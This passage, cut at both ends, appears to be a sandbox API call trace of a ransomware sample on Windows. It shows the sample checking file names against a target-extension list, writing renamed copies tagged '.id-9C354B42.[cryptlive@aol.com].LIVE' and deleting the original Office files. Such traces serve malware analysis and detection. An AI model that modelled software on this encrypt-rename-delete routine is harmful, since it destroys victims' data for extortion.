lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0055.850] SetEndOfFile (hFile=0x1fc) returned 1 [0055.851] CloseHandle (hObject=0x1fc) returned 1 [0055.852] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.852] SetEndOfFile (hFile=0x218) returned 1 [0055.855] CloseHandle (hObject=0x218) returned 1 [0055.855] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0055.856] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0055.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0055.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0055.856] lstrlenW (lpString=".doc") returned 4 [0055.856] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.856] lstrlenW (lpString=".docx") returned 5 [0055.856] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0055.856] lstrlenW (lpString=".pdf") returned 4 [0055.856] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.856] lstrlenW (lpString=".xls") returned 4 [0055.856] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.856] lstrlenW (lpString=".xlsx") returned 5 [0055.856] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0055.856] lstrlenW (lpString=".ppt") returned 4 [0055.856] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0055.856] lstrlenW (lpString=".zip") returned 4 [0055.856] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.856] lstrlenW (lpString=".rar") returned 4 [0055.856] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0055.856] lstrlenW (lpString=".bz2") returned 4 [0055.856] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0055.856] lstrlenW (lpString=".7z") returned 3 [0055.856] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0055.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0055.857] lstrlenW (lpString=".dbf") returned 4 [0055.857] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0055.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0055.857] lstrlenW (lpString=".1cd") returned 4 [0055.857] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0055.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0055.857] lstrlenW (lpString=".jpg") returned 4 [0055.857] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0055.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0055.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0055.857] lstrlenW (lpString=".doc") returned 4 [0055.857] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.857] lstrlenW (lpString=".docx") returned 5 [0055.857] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0055.857] lstrlenW (lpString=".pdf") returned 4 [0055.857] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.857] lstrlenW (lpString=".xls") returned 4 [0055.857] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.857] lstrlenW (lpString=".xlsx") returned 5 [0055.857] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0055.857] lstrlenW (lpString=".ppt") returned 4 [0055.857] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0055.857] lstrlenW (lpString=".zip") returned 4 [0055.857] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.857] lstrlenW (lpString=".rar") returned 4 [0055.857] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0055.857] lstrlenW (lpString=".bz2") returned 4 [0055.857] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0055.857] lstrlenW (lpString=".7z") returned 3 [0055.857] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0055.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0055.857] lstrlenW (lpString=".dbf") returned 4 [0055.857] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0055.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0055.858] lstrlenW (lpString=".1cd") returned 4 [0055.858] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0055.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0055.858] lstrlenW (lpString=".jpg") returned 4 [0055.858] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0055.858] lstrcmpiW (lpString1=".EXE", lpString2=".LIVE") returned -1 [0055.858] lstrlenW (lpString="DW20.EXE") returned 8 [0055.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.295] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=994184) returned 1 [0056.295] CloseHandle (hObject=0x214) returned 1 [0056.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0056.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.296] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.296] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0056.416] GetLastError () returned 0x0 [0056.416] ReadFile (in: hFile=0x214, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0xf2b88, lpOverlapped=0x0) returned 1 [0056.436] WriteFile (in: hFile=0x160, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2b90, lpOverlapped=0x0) returned 1 [0056.643] ReadFile (in: hFile=0x214, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.644] WriteFile (in: hFile=0x160, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0056.644] SetEndOfFile (hFile=0x160) returned 1 [0056.644] CloseHandle (hObject=0x160) returned 1 [0056.644] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.644] SetEndOfFile (hFile=0x214) returned 1 [0056.653] CloseHandle (hObject=0x214) returned 1 [0056.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0056.653] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1 [0056.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0056.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0056.653] lstrlenW (lpString=".doc") returned 4 [0056.653] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0056.653] lstrlenW (lpString=".docx") returned 5 [0056.653] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0056.653] lstrlenW (lpString=".pdf") returned 4 [0056.653] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0056.653] lstrlenW (lpString=".xls") returned 4 [0056.653] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0056.654] lstrlenW (lpString=".xlsx") returned 5 [0056.654] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0056.654] lstrlenW (lpString=".ppt") returned 4 [0056.654] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0056.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0056.654] lstrlenW (lpString=".zip") returned 4 [0056.654] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0056.654] lstrlenW (lpString=".rar") returned 4 [0056.654] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0056.654] lstrlenW (lpString=".bz2") returned 4 [0056.654] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0056.654] lstrlenW (lpString=".7z") returned 3 [0056.654] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0056.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0056.654] lstrlenW (lpString=".dbf") returned 4 [0056.654] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0056.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0056.654] lstrlenW (lpString=".1cd") returned 4 [0056.654] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0056.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0056.654] lstrlenW (lpString=".jpg") returned 4 [0056.654] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0056.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0056.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0056.654] lstrlenW (lpString=".doc") returned 4 [0056.654] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0056.654] lstrlenW (lpString=".docx") returned 5 [0056.654] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0056.654] lstrlenW (lpString=".pdf") returned 4 [0056.654] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0056.654] lstrlenW (lpString=".xls") returned 4 [0056.654] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0056.654] lstrlenW (lpString=".xlsx") returned 5 [0056.654] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0056.654] lstrlenW (lpString=".ppt") returned 4 [0056.655] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0056.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0056.655] lstrlenW (lpString=".zip") returned 4 [0056.655] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0056.655] lstrlenW (lpString=".rar") returned 4 [0056.655] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0056.655] lstrlenW (lpString=".bz2") returned 4 [0056.655] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0056.655] lstrlenW (lpString=".7z") returned 3 [0056.655] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0056.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0056.655] lstrlenW (lpString=".dbf") returned 4 [0056.655] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0056.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0056.655] lstrlenW (lpString=".1cd") returned 4 [0056.655] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0056.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0056.655] lstrlenW (lpString=".jpg") returned 4 [0056.655] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0056.655] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0056.655] lstrlenW (lpString="VISFILT.DLL") returned 11 [0056.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.977] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2124664) returned 1 [0056.977] CloseHandle (hObject=0x214) returned 1 [0056.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0056.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0056.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.978] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0x0) returned 1 [0056.978] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0056.978] ReadFile (in: hFile=0x214, lpBuffer=0x3a20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a20058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.991] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0056.991] ReadFile (in: hFile=0x214, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.057] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0057.057] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0057.057] ReadFile (in: hFile=0x214, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.148] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.148] WriteFile (in: hFile=0x214, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x300fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0057.501] SetEndOfFile (hFile=0x214) returned 1 [0057.501] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3ed0858 [0057.505] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0057.505] WriteFile (in: hFile=0x214, lpBuffer=0x3ed0858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0858*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.506] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0057.507] WriteFile (in: hFile=0x214, lpBuffer=0x3ed0858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0858*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.509] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0057.509] WriteFile (in: hFile=0x214, lpBuffer=0x3ed0858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0858*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.510] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ed0858 | out: hHeap=0x520000) returned 1 [0057.510] CloseHandle (hObject=0x214) returned 1 [0057.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0057.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0057.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0057.511] lstrlenW (lpString=".doc") returned 4 [0057.511] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.511] lstrlenW (lpString=".docx") returned 5 [0057.511] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0057.511] lstrlenW (lpString=".pdf") returned 4 [0057.511] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.511] lstrlenW (lpString=".xls") returned 4 [0057.511] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.511] lstrlenW (lpString=".xlsx") returned 5 [0057.511] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0057.511] lstrlenW (lpString=".ppt") returned 4 [0057.511] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0057.511] lstrlenW (lpString=".zip") returned 4 [0057.511] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.511] lstrlenW (lpString=".rar") returned 4 [0057.511] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.511] lstrlenW (lpString=".bz2") returned 4 [0057.511] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.511] lstrlenW (lpString=".7z") returned 3 [0057.511] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0057.511] lstrlenW (lpString=".dbf") returned 4 [0057.511] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0057.511] lstrlenW (lpString=".1cd") returned 4 [0057.511] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0057.511] lstrlenW (lpString=".jpg") returned 4 [0057.511] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0057.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0057.511] lstrlenW (lpString=".doc") returned 4 [0057.512] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.512] lstrlenW (lpString=".docx") returned 5 [0057.512] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0057.512] lstrlenW (lpString=".pdf") returned 4 [0057.512] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.512] lstrlenW (lpString=".xls") returned 4 [0057.512] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.512] lstrlenW (lpString=".xlsx") returned 5 [0057.512] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0057.512] lstrlenW (lpString=".ppt") returned 4 [0057.512] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0057.512] lstrlenW (lpString=".zip") returned 4 [0057.512] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.512] lstrlenW (lpString=".rar") returned 4 [0057.512] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.512] lstrlenW (lpString=".bz2") returned 4 [0057.512] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.512] lstrlenW (lpString=".7z") returned 3 [0057.512] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0057.512] lstrlenW (lpString=".dbf") returned 4 [0057.518] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0057.518] lstrlenW (lpString=".1cd") returned 4 [0057.518] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0057.518] lstrlenW (lpString=".jpg") returned 4 [0057.518] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.519] lstrcmpiW (lpString1=".FLT", lpString2=".LIVE") returned -1 [0057.519] lstrlenW (lpString="WPGIMP32.FLT") returned 12 [0057.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.871] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=280448) returned 1 [0059.871] CloseHandle (hObject=0x15c) returned 1 [0059.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0059.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0059.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.871] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.871] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.872] GetLastError () returned 0x0 [0059.872] ReadFile (in: hFile=0x15c, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0x44780, lpOverlapped=0x0) 